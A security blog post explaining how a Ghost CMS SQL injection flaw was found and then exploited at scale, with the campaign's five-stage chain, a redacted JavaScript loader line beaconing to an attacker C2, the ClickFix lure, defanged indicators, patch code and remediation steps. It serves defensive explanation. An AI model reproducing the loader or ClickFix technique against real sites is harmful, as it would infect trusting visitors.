Contents

Ghost CMS SQL Injection Stole Admin Keys From 700 Websites With One Request

 

Want to learn ethical hacking? I built a complete course. Have a look!
Learn penetration testing, web exploitation, network security, and the hacker mindset:
→ Master ethical hacking hands-on
Hacking is not a hobby but a way of life!

 
Contents

A SQL injection vulnerability in Ghost CMS has turned Harvard University, Oxford University, and DuckDuckGo into malware distribution platforms. Visitors arrive at a page they trust completely, a fake Cloudflare verification prompt appears, and their machine gets infected if they follow the instructions. More than 700 sites. Software that had never had an unauthenticated critical vulnerability in its entire history.

Ghost CMS is publishing software built on Node.js, used for newsletters, membership sites, and independent blogs. It is open source and free to self-host, with a paid hosted version called Ghost Pro. More than 100,000 active installations and more than 50,000 GitHub stars.

When Anthropic released Opus 4.6, they had Nicholas Carlini point Claude at a set of open-source projects to see what it would turn up. He picked Ghost because it had never had an unauthenticated critical vulnerability in its history. Ninety minutes later, Claude had found a blind SQL injection in Ghost’s Content API and pulled the admin API key straight out of the database. Anthropic told Ghost on February 16. Three days later, on February 19, the patch was out. In March, he stood on stage at the [un]prompted conference in San Francisco and showed the room what Claude had just done. He described what he had witnessed as terrifying.

The vulnerability is CVE-2026-26980, rated CVSS 9.4 Critical. Any Ghost installation running version 3.24.0 through 6.19.0 that is reachable on the internet is vulnerable. One request to the right address is all it takes, and there is nothing standing in the way.

Ghost runs two separate key systems. The Content API key is public by design, embedded in the site’s theme code and visible to any visitor. It only reads published content. The Admin API key is different. That key is the master key: write access to articles, themes, and user accounts. Whoever holds it controls the site. CVE-2026-26980 gives that key to anyone who asks for it, with no authentication required.

In Ghost, a slug is the URL-friendly version of an article title, the part of the web address that comes after the slash. The Content API uses slugs to sort and filter content. When a request comes in asking to sort results, the original code took whatever sorting value arrived and glued it straight into the database query. That process of sticking user input directly into a code instruction is called string concatenation, and it is how SQL injection happens. The vulnerable code looked roughly like this:

1
ORDER BY CASE WHEN slug = '[user-input]' THEN 0 ELSE 1 END

Ghost takes whatever value arrives in that field and glues it directly into the database instruction. It does not check whether what it received is actually a sort value. An attacker sends something that looks like a slug but is really a SQL command in disguise. Ghost glues it in, the database reads it as an instruction, and the attacker gets back whatever they asked for, including the Admin API key. The Content API requires no login and is publicly reachable by design, so there is nothing standing between the attacker and the database.

The patch came out on February 19, 2026. For 77 days after that, the story was quiet. Most Ghost site owners never applied the update because nothing visibly bad had happened yet. That changed in May, when security researchers at Qianxin’s XLab division noticed unusual activity while investigating an incident for one of their clients. Ghost sites were being actively scanned and compromised at scale. They spent two weeks mapping the campaign and published their findings on May 21. The patch had been sitting there since February. The exploitation was running since May 7.

The compilation timestamp on the DLL file found inside the attack campaign is February 16, 2026. That is the day Ghost published their security advisory to GitHub, three days before the public CVE disclosure on February 19. Whoever built this malware was watching Ghost’s repository. The attackers had their tooling compiled before the rest of the world knew there was a vulnerability. The 77 days between patch release and the first confirmed compromises were not wasted. They were time that tens of thousands of Ghost installations spent not updating.

This was not a targeted attack. It was a fully automated pipeline scanning every unpatched Ghost site on the internet, pulling the admin key automatically, rewriting every article on every compromised site, and delivering whatever payload the attacker wanted. Automated from start to finish, with no human needed for each individual target.

The attack moves through five stages.

Stage one: the scanner sends a request to the /ghost/api/content/tags/ endpoint with an injected payload inside the filter parameter. A single request to the right endpoint and the Admin API key comes back out of the database. That is it.

Stage two: the attacker uses the stolen Admin API key to call the Ghost Admin API and rewrite every published article in bulk. At the bottom of each article, a small JavaScript loader gets injected. Visitors to the site do not see it. Browsers execute it silently when the page loads. The loader contacts the attacker’s command-and-control server and identifies which compromised site it is calling from.

The JavaScript uses a base64-encoded C2 address and passes the site’s origin as an identifier:

1
c.src = atob("[base64-encoded C2 URL]") + "?r=" + btoa(a.origin);

The newer version of the loader also stores a small marker in the browser’s localStorage, a built-in storage area every browser has, so the same visitor only triggers the request once and nothing looks suspicious.

This two-stage design is deliberate. The loader in the database does nothing by itself. The actual payload lives at the C2 server and gets delivered on demand. The attacker can change what infected visitors receive at any time without touching the sites again. The compromised pages stay useful across multiple campaigns.

Stage three: when an infected article loads, the C2 delivers a traffic distribution script that runs silently. It collects browser fingerprints: user agent, language, timezone, screen resolution. Based on those signals, it decides whether this visitor is a useful target. Most visitors see nothing. The ones that pass the filter move to the next stage.

Stage four: selected visitors see an iframe loaded on top of the page content. It looks exactly like a Cloudflare human verification prompt, with the correct fonts, layout, and wording. The instruction is to press Windows+R and paste a command to verify. The command has already been silently copied to the clipboard. This technique is called ClickFix. It works because it runs on a real, trusted website that the visitor had no reason to distrust, and because pressing Windows+R and pasting something has become a common IT troubleshooting step that a lot of people follow without reading the content first.

Stage five: the pasted command downloads a ZIP archive, extracts a Windows batch script, which pulls a DLL from a public Storj CDN and runs it through rundll32.exe with a hidden window. Rundll32.exe is a built-in Windows tool designed to execute DLL files, and Windows treats it as a normal system call. Nothing appears on screen. A decoy page opens in the browser to keep the victim’s attention elsewhere while the real work happens in the background. The DLL is written in Rust. The final payload is UtilifySetup.exe, an application built using Electron, a framework that lets developers package websites as desktop software. It looks and installs like a normal program. Under that cover it is a modified version of the legitimate open-source Grape desktop client. It installs itself for persistence and polls a remote control server every 30 seconds for instructions. Attackers can push arbitrary JavaScript or executable files to any infected machine through that channel. Earlier in the campaign, the payload dropped a PuTTY SSH client instead, complete with a valid code-signing certificate to look like legitimate software and give the victim something to click on.

The first cloaking domain in the campaign ran behind Cloudflare’s proxy service. Visitors started reporting unexpected verification prompts appearing on sites they trusted, and Cloudflare blocked the domain. On May 16, the attackers moved to a new cloaking domain outside Cloudflare’s reach and deployed a fresh DLL with zero detections on VirusTotal at the time of launch. The campaign adapted and kept running.

At least two separate attack groups were running this campaign simultaneously. The researchers found evidence of competing injections appearing in the same sites within single days. Some sites were cleaned and re-infected within hours, because both groups kept scanning and the vulnerability was still open on every unpatched installation.

By May 17, XLab had confirmed more than 700 compromised domains. The breakdown:

  • → Personal blogs and independent sites: 368 (48.1%)
  • → Software development, SaaS, and tech blogs: 113 (14.8%)
  • → AI and machine learning sites: 35 (4.6%)
  • → Web3 and cryptocurrency: 22 (2.9%)
  • → Education and academia: 21 (2.7%)
  • → Media, news, and publishing: 19 (2.5%)
  • → Security and cybersecurity research sites: 11 (1.4%)

Security research sites are in that list. Sites covering vulnerability research, actively compromised and serving malware to their own readers.

Notifications went out to victims starting May 10. Most did not respond. By the time the full report went public, most of those sites were still infected.

Indicators of compromise:

  • → C2 domain, first wave: clo4shara[.]xyz
  • → C2 domain, second wave: com-apps[.]cc
  • → Final payload C2: web-telegram[.]ug
  • → installer.dll hash, first wave: MD5 5659292833ec421da11ebde005d9c9a8, compiled February 16, 2026
  • → Signs of injection: unexpected <script> tags at the bottom of article HTML loading from external domains

Ghost 6.19.1 patches the vulnerability by changing how sort values are handled in slug-filter-order.js. The old code glued user input directly into the database instruction. The new code passes it as a separate data value that the database reads but never executes as a command. That is called a parameterized query. The fix looks like this:

1
2
3
// Ghost 6.19.1 - patched
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

The ? placeholders tell the database engine to treat whatever arrives there as data, not as part of the instruction. The input can never break out of its context and become a command. But upgrading alone is not enough. If a site ran an affected version at any point, assume the Admin API key was stolen. Generate a new one. The injected JavaScript does not disappear after an update. It stays in the article content until someone actively finds and removes it. And the malicious code in the articles does not contain the malware itself. It just calls back to the attacker’s server to fetch it. A site can look completely clean and still be delivering malware to visitors.

If you run a self-hosted Ghost site:

  • → Check your version: ghost --version in your terminal
  • → Update to Ghost 6.19.1 or later right now
  • → Rotate all Admin API keys after updating, even if the site looks completely clean
  • → Check article content at the database level, not through the Ghost editor interface, since the editor can hide injected code that a browser would actually execute
  • → Review Admin API call logs for unexpected bulk article modification activity
  • → Keep at least 30 days of API call logs for retrospective analysis

Ghost Pro users are not affected. Ghost manages updates on that platform.

Claude found this vulnerability in February, Ghost patched it three days later, and Carlini demonstrated what Claude had done on stage in March. The attackers had their DLL compiled the day the CVE was announced. Eighty-seven days after the patch, Harvard’s visitors were getting malware. That gap between patch release and patch deployment is where this attack played out.

SQL injection gave the initial access. From there, credential theft. The payload ran through rundll32.exe, a Windows tool that was already there. Social engineering got the victim to execute the command themselves. And the final piece installed itself silently using a modified legitimate application. Every one of those techniques is covered in my ethical hacking course:

Join my complete ethical hacking course

Hacking is not a hobby but a way of life. 🎯

Sources: Ghost Security Advisory GHSA-w52v-v783-gw97 | XLab Qianxin

 

→ Stay updated!

Get the latest posts in your inbox every week. Ethical hacking, security news, tutorials, and everything that catches my attention. If that sounds useful, drop your email below.

By Bulls Eye

Jolanda de koff • emaildonate

My name is Jolanda de Koff and on the internet, I'm also known as Bulls Eye. Ethical Hacker, Penetration tester, Researcher, Programmer, Self Learner, and forever n00b. Not necessarily in that order. Like to make my own hacking tools and I sometimes share them with you. "You can create art & beauty with a computer and Hacking is not a hobby but a way of life ...

I ♥ open-source and Linux